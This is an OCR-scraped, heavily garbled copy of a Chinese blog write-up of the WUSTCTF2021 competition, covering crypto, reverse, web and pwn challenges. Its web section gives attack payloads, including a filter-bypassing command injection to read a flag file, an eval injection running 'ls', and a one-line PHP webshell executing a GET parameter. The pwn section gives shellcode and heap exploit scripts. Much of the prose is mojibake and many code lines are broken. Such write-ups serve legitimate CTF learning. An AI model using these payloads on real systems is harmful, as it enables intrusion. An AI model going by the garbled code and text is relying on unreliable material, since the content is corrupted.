“UF A "WUSTCTF202157 4 Fwriteup

WustHandy F 2021-01-30 17:11:10 KA 1765 WL, 1
FREE: WriteUp X E#H5%: CTF

FRAUE B : ASCAEERAISCE, 5 CC 4.0 BY-SA MR, H8iFMH EFESCH s mA RS,
ASCEERE: https://blog.csdn.net/weixin 45883223 /article/details/113441624

WriteU IFIZAR
15 RXE 2T
TSR

iy 55 AR "WUSTCTF20213%7 4 $ writeup

Crypto

&%

T

AES With RSA

GMC

Vigenere

give youd

{55
Misc

Erxian Bridge

Zero Width

binary

base64

Tall ShanBen

hide

Reverse

XOr
babypyc
babyjvav
equations
ez re
S0S0
tables

Web

EasyWeb


https://blog.csdn.net/weixin_45883223
https://blog.csdn.net/weixin_45883223/category_10196982.html
https://so.csdn.net/so/search/s.do?q=CTF&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_45883223/article/details/113441624
https://blog.csdn.net/weixin_45883223/category_10196982.html
https://mp.csdn.net/clock?utm_campaign=marketingcard&utm_source=weixin_45883223&utm_content=113441624

FE
fr 4T
Cover
EasyUpload
BabyPHP
Pwn
PRE X BT AR
shellcode
ez _heap
227
2.23
FKELlibc 4k
KELshell
Crypto
%3
BEHAEXEARS, ERwustctf2021%flag
e
JEE 7 25 5

AES With RSA



from Crypto.Util.number import
from os import
from Crypto.Cipher import AES
from flag import flag
assert flag.startswith( flag.endswith(
def padding(s,blocklen):
length (blocklen (s)) blocklen
return s (length) length
key urandom(16)
iv urandom(16)
m padding(flag,16)
C AES.new(key, AES.MODE_CBC, iv).encrypt(m)
print(c. @))
p getPrime(512)
q getPrime(512)
n =pTq
e 65537
m bytes_to_long(key)
C (m,e,n)
print( (n).strip( )D)
print( (c).strip( )D)
q = getPrime(512)
n =pq
m = bytes_to_long(iv)
C (m,e,n)
print( (n).strip( ))
print( (c).strip( ))
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from Crypto.Util.number import
from Crypto.Cipher import AES
C Oxabd2524c33d3192c4c34dcc34d91ff5d351b4612b3811781743e01093d1411a0
nl 0x9a40bc6f9d9f2abfa62f0fd6d4bd8b90d0c93f1ake20edd5604b9be3f985ced417937Fa95596fafa23c89251954a045a5b53b8e099
53d201b300364d40a1462190346c8032ddda62fb9c94bbfa98bbb7228bf15d8f1b8e214e66012821474d3ee891e64d675b83455496848a46)
1704b08efddb7856282d2181037206461921d31
cl 0x70150c917bb393186dd4e3db75acca61502d36d29c617831e0207d9caa86d93c70aeb909ab50878490776falfabac8dcofco010dl
226d3c71a8956cf0d33102935af63f6b566FTh9e824e7c52beat6808d0aee39641cd172366cef2b692cc493e20clcdeclfd98137b0a88cd58,
T1db999249b29d425e18a8e72fcb549af54869¢e
n2 Oxf2855141868026elfObbed6ef4566ce3a32d294bad7ef529fa30a7160a97adc6a6t728fd0783f017b42aad70c00fb88ce9025cea’|
ceddd5840a741fc3830eef90071bb296e46189b138abl6le2eccc5c22bad0e23497e9617b925e982557c43b4ea5e6597867cdbof85a67a4a
f09389d3b9e2e1d23c78a956481e025b195e4ed
c2 Oxeel259277e82688413c12b928126fed7901821145d8106e32f4ec77483da366afl2cc64a9a0228a03104a929f7b1316110d5379ef]
f79bad722cdf22e1b9ac®7282afcebf11806fc29a2a42081baddbba58fdc6c1608ca0c56d83e22251e441d87ec77cbe34554ef7d15c5bbe
2d1cOb7890d1ead99e52141b90cb0c32913de85

GCD(n1, n2)

p

p
65537

inverse(e, (p-1)*(ql-1))
inverse(e, (p-1)*(g2-1))
long_to_bytes( (c1, di1, n1))
long_to_bytes( (c2, d2, n2))
AES.new(key, AES.MODE_CBC, iv).decrypt(long_to_bytes(c))

print(flag)

GMC



from Crypto.Util.number import
from gmpy2 import
flag b
def gmc(a, p):
if (a, (p-1)//2, p)
return 1
else:
return -1
gen_key():
[gp,gq] [getPrime(512) for i in
g\ = gp * gq
return gN, g9, gp

gen_x(gq,8p):
while True:
x = getRandomNBitInteger(512)
if gmc(x,gp) " gmc(x,g8q) 2:
return Xx
gen_y(gN):
gy_list = []
while (gy_list) F_LEN:
ty = getRandomNBitInteger(768)
if gcd(ty,gN) 1:
gy_list.append(ty)
return gy list
if _ _name__ :
flag (bytes_to_long(flag))[2:]
F_LEN (flag)
N, g, p = gen_key()
x = gen_x(q, p)
y_list = gen_y(N)
ciphertext [1]
for i in (F_LEN):
tc (y_list[i],2) (X, (flag[i])) % N
ciphertext.append(tc)
with ( 5 ) as f:
f.write( (N) )
for i in (F_LEN):
f.write( (ciphertext[i])

flag I FRF B B A0 7 XS LA — 8k, F_LENR “BEHI KRR, pMgRBEHILKERE, NEpqii.

xfe — M RARp B g F o — AN IR R BT BENLE .
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H Aflag[i] B4 R1E 420, Fihpow(x, int(flag[il))Z Fxa1 .

ciphertextf) & — > o &t T FEHLE K F 77 Fex mod NEBE L £ i 77 modN.
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from Crypto.Util.number import

) as f:
(f.readline())
for line in f:
cipher (line)
if jacobi(cipher,n)
plaintext
else:
plaintext
print(long_to_bytes( (plaintext,2)))

Vigenere

from wust import source, key
getdiff lambda char: (char) (
getchar lambda num: ( ( )+num)
def vigenere(src: , key: )
assert(src.isalpha() key.isalpha())
return(getchar((getdiff(src) getdiff(key) 1) 26))
source. lower()

(key) (key) 10)
for i in src:
if(i.isalpha()):
print(vigenere(i, key[count (key)]), end
count 1
else:
print(i, end
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from gmpy2 import
from libnum import
from Crypto.Util.number import
from secret import flagl, flag2
p getPrime(1024)
getPrime(1024)
p"q
0x10001
getPrime(10)
s2n(flagl)
s2n(flag2)
(ml,el,n)
(m2,e2,n)
invert(el, (p-1)*(g-1))
,d1)
,el)
,€l)
PE2))
,€2)

»N)

WIREIp,qn#tHE, REe®ZT, 4 7Tn, el, d1, WLEHpHq




He,d fI5E X (de mod (p-1)(g-1)=1) FATAT LA%NiE:

ed-1=k(p-1)(g-1)

X BERIMER—AMTF i $g

M

g"(ed-1) =g"(k(p-1)(a-1))

FH Bk e 2,

ged-1) mod n =1

[

pg=g”*(ed-1)-1=0 (mod n)

4 k=ed-1

JUR

pq=g=@k/2 -1)(g"k/2 +1) = O(mod n)

AT LRI AR g K/2 -1 7E mod n'F W& TpEiEq (AN SnE 1R AET) AT AN T . FFLL3 (9 K -1)=(g"k1 -1)
(g"k1 +1)(g"k2 +1)...(g"k/2 +1)

WRE B RREFEAEAR 4 Ui BRI T BAsR— A g 4R RS2, A0SR T R4 st U AR B T (g7ki -1 A ZA H0)



from Crypto.Util.number import
from libnum import
from random import
def getpq(n, e, d):
while True:
k e d 1
g randint(@, n)
while k P Q:
k k P
temp (g, k, n)
if GCD(temp, n) 1 temp
return GCD(temp, n)
dl= 976067459550194773245713441777266665458091078481607459684420197654912670505435453274419592084392766590885758
8327157473562216170891125640382183269947688729492002810318988357177843006032057493977990230963641128334174799854
7762850928008828426488312347017756474268216524557949808154937928446137811363704820767032035443293442576711212783
1122053685362875328165561159992765782557698601227404552295087173364970134183026714081884602172390018204029933578
7072434827472099558123219735224115651119369318334014106111016265076954167859616248128341257846831841124963643146
233831386180209364959204819225771569971911306452163266250257
el= 65537
cl= 303154483242862396382990620362366628482601812619967544402311050155408562056297692109056681431198217722907646
7389126296690887508093409644544972677863798265638151530384969210400494640484499273950795927369791039457791939011
9391126925033586906156591566908332164241570475595476526801678912760980466630883645171554011535905890411943829621
1582394126553432640356823336188023722717121359478453289446446780104446341469177718039471059484032722069468743315
5323278247440513979172779693066168556516883948734483230577736355223376127267320269806380149257745585678220927864
789251997620899712591359197840818646408155483090462327378317
e2= 727
c2= 825007406022742439216752748027891031154446364493916386376980024425169109801516285623607060489498717133665279
26393076888625699502836878409348740109617255858324927318629244346857648125480419429329914373041333835747398410209
4904514012458549934547737535478669870608829665037175247372566772237479283722213032527186958264350017573057102276)
3228996169297203803090441265663250196802733881726988330938373247557275548889663732845551219020381891777293207267
0066152200777928816271099465751840664067526661763508166046612541288397476570710909799201617460030087141733073112
323853659638000871425108472297885477189405403650284325277579
n= 1694934768462444419973088202054972720757979783536448639022226398179963744652095156494147924178873075542960705
2441560089686202304965202328865879149004045368822166561031121061030823165425477649845937992280653629411960834585
2646563717678773444974020992726814500254792039690372713416448080776199193008747061249280106324667437212061729887
0612627608110531161015644496148992984595652177951768326031744238217786752834069012961119160292915176706296390046
6581680747022376748730840902068954788887770543814815800099455381548242834877925303848347612497301376626619324115
990787052927789981745597417645251872764332317707438924093033
p = getpq(n, el, di)
n p
(p-1) *(q-1)
inverse(e2, phi)
(c1, di, n)
(c2, d2, n)
print(n2s(ml)+n2s(m2))
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TREFHRS
https://offdev.net/demos/zwsp-steg-js
binary

TRt B AT B Fibase64# i
base64

base64fa 5

RN FE:

140 Base64 T/ & RS 5k — 415 (VHWeQ== -> VHiweQ -> 010101000111001000110000011110010000).

2 N B, 8 AL —4, AR, # K%t R ASCII (01010100 01110010 00110000 01111001 0000 -> FiHif g 4 47 -
>01010100 01110010 00110000 01111001 -> TrOy)

b 5 R

EBAAK 0, RATEMME R ERILER T, PriliX B EA SR WEL. BrARATT R H#ETRE.

Nt AFESHAES 0 AEM TRE? EABERERN —#ilHSSBESHERL, BIBKNEE 1 P2ZRM. BRUBBEE T
TR,

AL E R 7 1 0 AR BE — A F4/F 3B A7, IR R T &5 — 7/ 2 Hl AT E8, & i 880 st S5 m
ME—HIR R R R)E — TR TE

010 10100011100 1000110000011110010001000000000000
v H | w e R B EsEE : www.trGy.wang

I RARE AR ATV HIweQ=="5'VHIweR==', /8 8114 R 2 TrOy
M8, —17 base64 THE b 2 M55, ARH 272 MATKS L. T URITAF B LT, 4 SR — 57 5, KR 48
H%4 T — KB base64 IR A,

B TR, TEERARA flag # 8 L bR, JE3HBAT T

bin_str
for line in f.readlines
stegbh64 join(line.split
rowb64 join(stegbh64.decode encode split

offset b64chars.index(stegh64.replace 1 b64chars.index(rowb64.replace

equalnum stegb64. count
if equalnum
bin_str offset)[2 zfill(equalnum 2

print join bin_str[i:i 8 2)) for i in

Tall ShanBen
R 752t i g 4 23 10 R R —
hide
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(AN By e A7 R YR 3 BT Be A Bl 18 BE AL 2 UOKs R 7 fR A7 T SR B2 B A% (img-RJUGRGhY-1611997605206)(imgs/image-
20210125174652538.png)]

(1)70x3770x4970x2e"0x57"0x40"0x21"0x1b"0x56"0x61"0x15"0x26"0x49"0x4a"0x4b"0x39"0x17)

babypyc
FE 2R 0k = 9 PEpyc

from libnum import
ans Ox6675FA7F228DBCEB6A2DC223A37FC64FE67E61L

s2n( ( )

(len(bin(flag)[2:])):

(bin(flag)[2:][1])
while j 10:

k (bin(flag)[2:1[j]1)
_flag (k)
print(n2s(int(_flag, 2)))

babyjvav
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import java.io.BufferedReader;

import java.io.InputStreamReader;

public class Wust {
public Wust() {

}

public static void main(String[] args) {
System.out.println( )
System.out.println( )8

BufferedReader br new BufferedReader(new InputStreamReader(System.in));

String str null;
int[] flag = new int[]{60, 23, 23, 41, 110, 66, 44, 17, 126, 68, 43, 26, 113, 71, 10};

try {
str br.readLine();

} catch (Exception varile) {
System.out.println(

if (str.isEmpty()) {
System.out.println(
} else {
if (str.length() 22) {
System.out.println(

return;

String head str.substring(@, 5);
if (!head.equals( )) {
System.out.println(

return;

String m = str.substring(5, str.length() 1);

9; i < m.length() 1; i) {
m.charAt(i);
m.charAt(i + 1);
a b;
flag[i]) {
System.out.println(
return;

System.out.println(




ttinclude<iostream>
using namespace std;
int main()
{
int a[30]={ 60, 23, 23, 41, 110, 66, 44, 17, 126, 68, 43, 26, 113, 71, 10 };
char b[30];
for(int i=0;i<50;i++)
{
b[0]=1+65;
for(int j=1;j<=15;j++)
b[jl=b[j-1]"a[j-1];
cout<<b<<endl;
b

return 0;

}

equations

Z3fR T FE 4

from z3 import
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(
Int(




Int(
Int(
Int(

[]
Solver()

s.add (234923
15%25+x16*42

15%30+x16%25
31%26+x32*75
s.add (231388
15%78+x16*79
31%44+x32%50
s.add (223405
15%90+x16*67

31*%54+x32*%88
s.add(232356
15%81+x16*62

31*63+x32*12
s.add (218896
15%12+x16*67
31*71+x32*13
s.add (249026
15%72+x16*39

X0*89+x1%30+x2
x17%93+x18*45+x19
x33*81+x34*38+x35

X0*65+x1%11+x2
x17*45+x18*76+x19
X33*75+x34%25+x35

X0*63+x1*83+x2
x17*%28+x18*96+x19
Xx33*55+x34*11+x35

X0*39+x1*69+x2
x17*%72+x18*83+x19
X33*75+x34*43+x35

X0%94+x1*82+x2
x17*16+x18*85+x19
X33%52+x34%24+x35

X0*34+x1*75+x2
Xx17%29+x18*77+x19
x33*%27+x34*26+x35

X0*76+x1*61+x2
Xx17*78+x18*84+x19
X33*%69+x34%21+x35

X0*98+x1*66+x2
Xx17%53+x18*65+x19
X33%60+x34%32+x35

X0*32+x1*15+x2
x17*47+x18*10+x19
x33%32+x34%81+x35

X0*50+x1*47+x2
x17%91+x18*26+x19
Xx33%62+x34%63+x35

X0%92+x1%26+x2
x17*%52+x18*17+x19
Xx33*%70+x34*18+x35

X0*53+x1%39+x2
x17%26+x18*65+x19
x33%69+x34*16+x35

X0%12+x1%69+x2
x17*%35+x18*78+x19
x33*53+x34*87+x35

X0*51+x1*74+x2
x17%41+x18*89+x19
x33*81+x34*76+x35

X0*15+x1%47+x2
x17%41+x18*82+x19
x33*55+x34*40+x35

X0*11+x1%29+x2
x17%61+x18*69+x19
x33*%12+x34*41+x35

X0*76+x1%64+x2
x17*%72+x18*80+x19
x33*55+x34*%52+x35

X0*77+x1%34+x2
X17*40+x18*64+x19

x3*11+x4*28+x5*97
X20*80+x21%94+x22
x36%90+x37%80+x38
X3*65+x4*58+x5%53
X20%91+x21*47+x22
X36%52+x37%23+x38
X3%29+x4*57+x5%53
X20%95+x21%27+x22
X36%76+x37%65+x38
X3%25+x4*49+x5%15
x20*15+x21%25+x22
X36%13+x37%26+x38
X3*51+x4*31+x5%71
X20*46+x21*87+x22
X36%59+x37*%71+x38
X3%93+x4*79+x5%19
x20*85+x21*11+x22
X36%93+x37%50+x38
X3*72+x4*11+x5%93
X20%95+x21*74+x22
X36%20+x37*55+x38
X3*23+x4*97+x5*55
X20*%80+x21*56+x22
X36%22+x37%86+x38
X3*84+x4*27+x5%21
X20%62+x21*53+x22
X36*57+x37%28+x38
X3*57+x4*%12+x5*34
X20%97+x21%42+x22
X36%27+x37%81+x38
X3*74+x4*25+x5%38
X20%21+x21%37+x22
X36*84+x37%27+x38
X3*68+x4*62+x5*44
X20%11+x21*83+x22
Xx36*48+x37%86+x38
X3*77+x4*95+x5%22
X20*46+x21%93+x22
Xx36*85+x37*79+x38
X3*62+x4*86+x5%10
X20*46+x21%60+x22
X36*%27+x37*46+x38
X3*70+x4*28+x5%32
X20*47+x21%24+x22
X36*61+x37%27+x38
X3*69+x4*81+x5%96
X20*54+x21*30+x22
X36*84+x37*74+x38
X3*17+x4*80+x5*57
X20*50+x21*61+x22
X36*48+x37*60+x38
X3*66+x4*87+x5%76
X20%22+x21%11+x22

68+Xx7%91+x8*36+x9
X23%68+x24*59+x25
Xx39%66+x40*80+x41
86+X7*44+x8%62+x9
X23%82+x24%26+x25
X39*57+x40*79+x41
31+x7*99+x8*27+x9
X23*71+x24*40+x25
X39%37+x40*58+x41
16+x7%96+x8%35+x9
X23%96+x24%97+x25
X39*%64+x40*64+x41
A4+XT7*74+x8%26+X9
X23*46+x24*74+x25
X39*%65+x40%24+x41
14+x7*76+x8%60+Xx9
X23*%11+x24*%72+x25
X39%42+x40%12+x41
13+x7*%63+x8*15+x9
X23%21+x24*13+x25
X39%29+x40*54+x41
72+X7*69+x8*81+x9
X23%60+x24%94+x25
X39%32+x40*76+x41
74+x7*21+x8%35+x9
X23%84+x24%94+x25
X39%94+x40*45+x41
76+X7*54+x8*79+x9
X23%79+x24*53+x25
x39%85+x40%65+x41
64+Xx7%98+x8*68+x9
X23%52+x24*66+x25
x39%28+x40*52+x41
98+x7*17+x8*80+x9
X23%64+x24%21+x25
Xx39*%13+x40%67+x41
21+x7*85+x8*79+x9
X23*75+x24%69+x25
x39%81+x40*45+x41
49+x7*94+x8*65+x9
X23%97+x24%32+x25
X39%64+x40*35+x41
65+x7*82+x8*53+x9
X23*40+x24*18+x25
x39%28+x40*30+x41
58+x7*97+x8*36+x9
X23*70+x24%42+x25
Xx39%19+x40*65+x41
93+x7*11+x8*79+x9
X23*43+x24*80+x25
Xx39%32+x40*85+x41
58+x7*39+x8*81+x9
X23*81+x24*27+x25




31*43+x32*30
s.add (218244
15%80+x16*21
31*35+x32*56
s.add (229321
15%22+x16*65

31%82+x32%20
s.add (251643
15%99+x16*60

31%25+x32*%10
s.add (208076
15*%57+x16*88

x33*66+x34*17+x35
X0*56+x1%66+x2
x17%18+x18*22+x19
x33*11+x34*78+x35
X0%24+x1*15+x2
x17*45+x18*44+x19
x33*84+x34*19+x35
X0*45+x1%66+x2
x17*70+x18*55+x19
X33%73+x34%32+x35
X0*65+x1%25+x2
x17%62+x18*59+x19
x33%24+x34%93+x35
X0*45+x1%99+x2
x17%29+x18*23+x19
Xx33%50+x34%28+x35
X0*62+x1*66+x2
X17*87+x18*76+x19
X33%67+x34*45+x35
X0*64+x1*68+x2
x17%28+x18*11+x19
X33%43+x34*75+x35
X0*14+x1*55+x2
x17%33+x18*81+x19
X33*74+x34*87+x35
X0*58+x1*64+x2
Xx17*56+x18*%20+x19
x33%19+x34*51+x35
X0*93+x1*74+x2
X17%65+x18*56+x19
x33%61+x34%99+x35
X0*30+x1%29+x2
X17*74+x18%27+x19
x33*54+x34%61+x35
X0*19+x1*60+x2
x17%22+x18*67+x19
x33*54+x34%33+x35
X0*37+x1%52+x2
x17%35+x18*85+x19
x33*70+x34%95+x35
X0%92+x1%21+x2
x17*%33+x18%96+x19
x33*60+x34*81+x35
X0*47+x1%22+x2
X17%94+x18*77+x19
Xx33*70+x34*76+x35
X0*69+x1%33+x2
x17*%28+x18*40+x19
x33*57+x34*81+x35
X0%26+x1%52+x2
x17*%26+x18*34+x19
x33*16+x34*47+x35
X0*26+x1*74+x2
x17%26+x18*66+x19
x33*%31+x34*18+x35
X0*88+x1%20+x2
x17*88+x18*73+x19
x33*%36+x34*78+x35
X0%30+x1%64+x2

x36*50+x37*67+x38
x3*80+x4*33+x5*%73
X20%39+x21*17+x22
X36*82+x37*79+x38
x3*20+x4*81+x5*71
X20%90+x21%22+x22
X36*59+x37%27+x38
X3*77+x4*41+x5%65
X20%28+x21*17+x22
Xx36*34+x37%14+x38
X3*22+x4*34+x5%46
X20*51+x21*50+x22
x36%32+x37*41+x38
X3*14+x4*89+x5%72
X20%67+x21*83+x22
X36%24+x37*%60+x38
X3%38+x4%19+x5%83
x20%91+x21*35+x22
X36%99+x37%80+x38
X3*79+x4%23+x5%96
X20%22+x21*66+x22
X36%23+x37%21+x38
X3%90+x4*62+x5%91
X20%99+x21*57+x22
X36%52+x37%39+x38
X3*49+x4*96+x5%43
X20%*45+x21*63+x22
X36*80+x37*%12+x38
X3%39+x4*79+x5%99
X20%95+x21%32+x22
Xx36%12+x37*51+x38
X3%29+x4*91+x5*81
X20*55+x21%13+x22
X36%23+x37%97+x38
X3*79+x4*53+x5%21
X20%69+x21%24+x22
X36*43+x37%72+x38
X3*30+x4*99+x5*11
X20*77+x21*49+x22
x36%19+x37*73+x38
X3*77+x4*36+x5%27
X20%22+x21*18+x22
Xx36*57+x37%18+x38
X3*36+x4*88+x5*58
X20*%14+x21%99+x22
X36*49+x37%92+x38
X3*97+x4*51+x5*59
X20*75+x21%23+x22
X36*46+x37*66+x38
X3*41+x4*14+x5*%64
X20*55+x21*55+x22
Xx36*59+x37*85+x38
x3*31+x4*10+x5*55
X20%83+x21*67+x22
X36*54+x37*74+x38
X3*71+x4*54+x5*74
X20%19+x21*40+x22
x36*81+x37%39+x38
X3*36+x4*85+x5*58

x39%21+x40*31+x41
76+Xx7*42+x8%13+x9
X23*54+x24*78+x25
Xx39%94+x40*78+x41
50+Xx7*77+x8*98+x9
X23*68+x24%98+x25
x39%31+x40*19+x41
99+x7*35+x8*67+x9
X23%90+x24*28+x25
x39%18+x40*73+x41
91+x7*70+x8%35+x9
x23%14+x24%31+x25
x39%15+x40*71+x41
48+x7*43+x8%92+x9
X23*46+x24*83+x25
X39%37+x40%60+x41
12+x7%98+x8*61+x9
X23%30+x24%24+x25
X39*55+x40*74+x41
16+x7*%40+x8*79+x9
X23*%66+Xx24%90+x25
X39*85+x40*64+x41
24+x7%31+x8*%40+x9
X23*75+x24%32+x25
X39%41+x40*%65+x41
13+x7%28+x8%42+x9
X23*%72+x24*41+x25
X39*%68+x40*80+x41
22+X7%66+x8*47+x9
X23%48+x24*51+x25
X39%93+x40*54+x41
31+x7%28+x8*75+x9
X23%55+x24*79+x25
Xx39%70+x40*18+x41
21+x7*47+x8*%52+x9
X23%14+x24%31+x25
X39%94+x40%67+x41
20+x7*20+x8*41+x9
X23*75+x24%94+x25
x39%51+x40*55+x41
25+x7*45+x8*48+x9
X23%48+x24%20+x25
X39%40+x40*54+x41
42+x7*13+x8%69+x9
X23*89+x24%90+x25
Xx39%38+x40%27+x41
15+x7%17+x8%92+x9
X23%38+x24%69+x25
x39%23+x40*43+x41
11+x7*31+x8*%90+x9
X23%26+x24*41+x25
x39%88+x40*70+x41
23+X7*33+x8*%62+x9
X23*%72+x24%92+x25
Xx39%30+x40*65+x41
73+x7*90+x8%12+x9
X23%17+x24%21+x25
x39%12+x40*80+x41
43+x7*97+x8%90+x9




31%61+x32%92
s.add (225646
15%79+x16*20

31*%78+x32%*55
s.add(222271
15%55+x16%*54

85+x32%*85
if s.check()

n s.model(

print(n)

ez_re

[6x53,0x52,0x66,0x5F,0x42,0x4f,0x71,0x50,0x0d,0x21,0x28,0x1f,0x6C,0x35,0x18,0x26,0x79,0x39,0x2e,0x2b,0x16,0X|

x33*51+x34*82+x35
X0*55+x1%16+x2
x17*40+x18*11+x19
x33*18+x34*97+x35
X0*48+x1%91+x2
x17*88+x18*34+x19
X33*%63+x34*19+x35
X0*51+x1*55+x2
x17*58+x18*28+x19
X33%25+x34*%16+x35
X0*71+x1%29+x2
x17%59+x18*12+x19
x33%19+x34%99+x35

sat:

)

x36*40+x37*83+x38
X3*49+x4*35+x5%88
X20*52+x21*74+x22
Xx36*65+x37%28+x38
Xx3*87+x4*35+x5*%11
X20*75+x21*10+x22
X36%37+x37%36+x38
X3*49+x4*54+x5%89
X20*87+x21%92+x22
X36%68+x37%30+x38
X3*59+x4%30+x5%75
X20%19+x21*40+x22
x36%30+x37%19+x38

x39%33+x40*81+x41
71+x7*14+x8*64+x9
X23%26+Xx24*64+x25
x39*%71+x40*64+x41
40+x7*67+x8%90+x9
X23%63+Xx24*44+x25
X39%16+x40%49+x41
77+X7*58+x8%15+x9
X23%88+x24*61+x25
X39%12+x40*51+x41
67+X7%39+x8%95+x9
X23*86+x24*79+x25
X39%15+x40%32+x41

7f,0x24,0%x29,0x25,0x3a,0x0c,0x1f,0x37,0%x09,0x25,0x67,0x2C ]

(((

print(flag)

SO0SO

(33):
[i])"t)+2)

IDAT FFalt+t{#flagel# &+ it Hl g B2 T TR

tables




[21, 4, 24, 25, 20, 5, 15, 9, 17, 6, 13, 3, 18, 12, 10, 19, 0, 22, 2, 11, 23, 1, 8, 7, 14, 16]
[17, 23, 7, 22, 1, 16, 6, 9, 21, @, 15, 5, 10, 18, 2, 24, 4, 11, 3, 14, 19, 12, 20, 13, 8, 25]

def left rolling():
a.append(a[@])

del a[9]
charsetA.append(charsetA[0])
del charsetA[9]

def right_rolling():

a.insert(9,al (a)-1])

del a[ (a)-1]

charsetA.insert (0, charsetA| (charsetA)-11])
del charsetA[ (charsetA)-1]

for i in ( (flag)):
left_rolling()

(flag[::-1])
(charsetA)

vl charsetB.index(temp)
b_num b[vl]
right_rolling()

a_num a[b_num]
print(charsetA[a_num],end

Web

EasyWeb

BETFHRE R, S7THARR, RIM2E—T, KIS THRR:

base64fEiL—F : get_flag.php VilAlZ Gt R IERKIIES:




<?php
error_reporting(E_ALL E_NOTICE);
highlight file(_ FILE_);

$_POST[

payload:
Web2
PLER NS5, BEAEERH # robotsthill, ial— Frobots.txt/5 5 2

Vi85 £lflag:

error_reporting(0);
highlight file(__ FILE_ );

intval($num) 42)

$s2 md5($s1) md5($s2))

echo $flag;

}

else

X EIE AP T intval B FE Aphpis b , BEHE, BN intval(042)=42, X B EHEH4A2M AT g E—E, Bikintval®
) LR LS php B 5 30K

FZE U ASAST, e PSS ST (@R BB AN A F R/ 8, md5 i % 5 # 2 0e FF 3k)
payload1 (HéH%ed 2num=0428s1[]=18&s2=[]

payload2 (F5HLE 2num=042851=5878926199a&s2=5214587387a iX Hs1 M2 AT LA HAt, FEERIRHIFIA

W IAT



1)

$cmd=$ GET[ g
if(preg_match( ,$cmd))

I
1

die(

1
J

system($cmd) ;

}else{
highlight file(__ FILE_);

WAL, REEE G AIAT, RAEZ—, MRKEMET —Tfag, cat, k.

KA Ip G AT T flagix BRTCAFRHT, WAICAA?ILAS %, catthlLLRRAHT, AT AREM M4 1 tac more &
TGS AT $1FS$9. ${IFS} &

Hrh—H#75 R payload: ?cmd=ca\t${IFS}/fla\g.txt

Cover

HExAMEEH, BEEEEEESGLOBALSEEMAEZEE %, Hid SGLOBALS £3|H —MESHEANGENTER S S A, HE
L — AT A E Brce T o

56 U U TR -

<?php
error_reporting(0);

include 5

highlight_file(__file_ );
1

XHEA TR, $GLOBALS, R—/NMEBLERLTE, XA $$SRINMNEATUEERIELERTEATEHHR, BARGlagEEMAED
EHE. FTLES 2a=6L0BALS JE/53:

R SEAFEFlag, NERH R, EE% T —Ahint AU E cover2.php



<?php
error_reporting(E_ALL);

array(

if(isset($_GET[ D) is_array($_GET[
extract($_GET[ ], EXTR_OVERWRITE);
} else {
highlight file(_ file );
die();
)i
if(isset($_GET[ 1)) {
$choice = $_GET[ 1;
if (array_key exists($choice, $choices) FALSE) {
echo
die();
)i
$content = file_get contents($choices[$choice]);

echo $content;

87T flag_is_there.php , SRJGFAE file get contents HREL 1R HAR BB ZAE @l XA R &

F| flag_is_there.php A%, {HiEchoicesBABEI T, MUFREEES 1.txt, 2.txt,3.txt KINE, HRRKAXEH -
extractii %, FrABRMIWFIHEREULTERE S, XERHB Z4EHHATI: 2cover[choices]
[choicel]=flag_is_there.php&choice=choicel F1275Zlflag

E[7:P
F—FSHBM: eval("var_dump($$a);"); XANSa SEEETATIE, FrClRRATAT LAE

?a=a=1);system('1s');// H¥rce :

EasyUpload

<?php

error_reporting(9);

highlight_file(__FILE_ );

$file = $ GET[ 1;

if (preg_match( , $file)){
die( )E

b

include $file;

—TFIRE TR H— N LA A . upload_file.php , RJGREH WS T IR L& fALBEIERN, FEFXJUT




if(in_array($file_ext, [

{
L

die( )&
1
J
if (!in_array($file type, [

{
L

die( )5

1
J

if (preg_match( , file get contents($file content)))

I
8
die(

1
J

JERRIRAR, CHERBREAES, XHERERMTRE . ZRIEFTEA —Nindexphp® include B#, FIUERGEEF
O, FEHEMBRBAITLARRGE, MATXHABTSRD, ST <2php RATATBAA <script>izng gaid, T8
T eval Ml assert FJLAAHfESE, Aidix B EA I IEsystem, Bt B8 H system.

fEwindows F& & .png B D php XN A: <script language='php'>system($_GET[cmd]);</script>
EAE2 )5, BAVE index.php BEE FBEHEANTLSSE, KIEE:

RIEEEIR B % Tlag:

BabyPHP

https://iwww.gem-love.com/ctf/2283.htm#EWUSTCTF %E6%9C %B4%E5%AE %9E %E6%97 %A0%E5%8D %8ERevenge

Pwn

PRE X Y Fr A 3% ?

Wik REMIOFAE: H2BRe, MABROFE: RiX? RESHT—AK
FOSTR RS AR A B T R BORAE T AL R T A A B

shortintdi 24735, JaEIR: 032767(00X7ff) il -32768.1(0x30000X)

unsigned short inttt 52455, 7 Bl 2 0g5535(00Xfff)

T AL B BHE R DA AR R, T 2 ORI RE BT 8

example:

e numberl: 32767

e number2: 0

shellcode

ik N FEEH AshellcodeFiTm (i
Pyidtidanl LR B2 — T8 FE Al R AR

FRH < Hint 805 — M, RBESARVFIRBEITRA, AT DLUE 556 Bibkd th
(int 80 eaxF 74 W7 I — B VB8, 4%, M

B R % Hleak Hespittihl, 2R EHATEBAER A Kishellcode



ROPE #Bk¥ 2| 0x08048087 , 7 DA i %y th itk 5 tH esp b i i bk
FEEENR, XEREREEIFARLETMRT, METEFNRERA, A>T —4 pop espiiid
Bt LARAT R Z X 3R15 1 esp_addr - 0x4 7 & B IERIER T
Fi LA shellcode _addr = esp_addr - 0x4 + 0x18 = esp_addr + 0x14
[H B pwntools e i fishellcode KK T, FrARATRERAE — B K
exp:
from pwn import
process ( )

Ox14 + p32(0x08048087)
)

u3d2(p.recv(4))+ox14
shellcode

payload 0x14 + p32(addr) shellcode
p.send(payload)

p.interactive()

ez_heap

R H T HEAR KR, WEFFENEHibcR2.27, HEZEAHER 223, FE—EH R B KpwnBAR K T H IR
w, HER—ERRAMREEKER, KRS H% HPFEL T

2.27

2.27HFHtcache, HHUTF—NEMERKfastbin, FIFATHH, BZOMIRESHRdelete/5 BB HBEES, MBMNRATE
SrRprintfifigotsR bk, fsystemBl Al



from pwn import
context.log level

p process(

elf = ELF( )
printf_addr = elf.got|
system_addr = elf.plt|

def new(payload):

.sendline( )
.recvuntil( )
.sendline(payload)

.recvuntil( )
def update(index,payload):

.sendline( )
.recvuntil( )
.sendline( (index))
.recvuntil( )
.sendline(payload)
.recvuntil( )

def show(index):

p.sendline( )
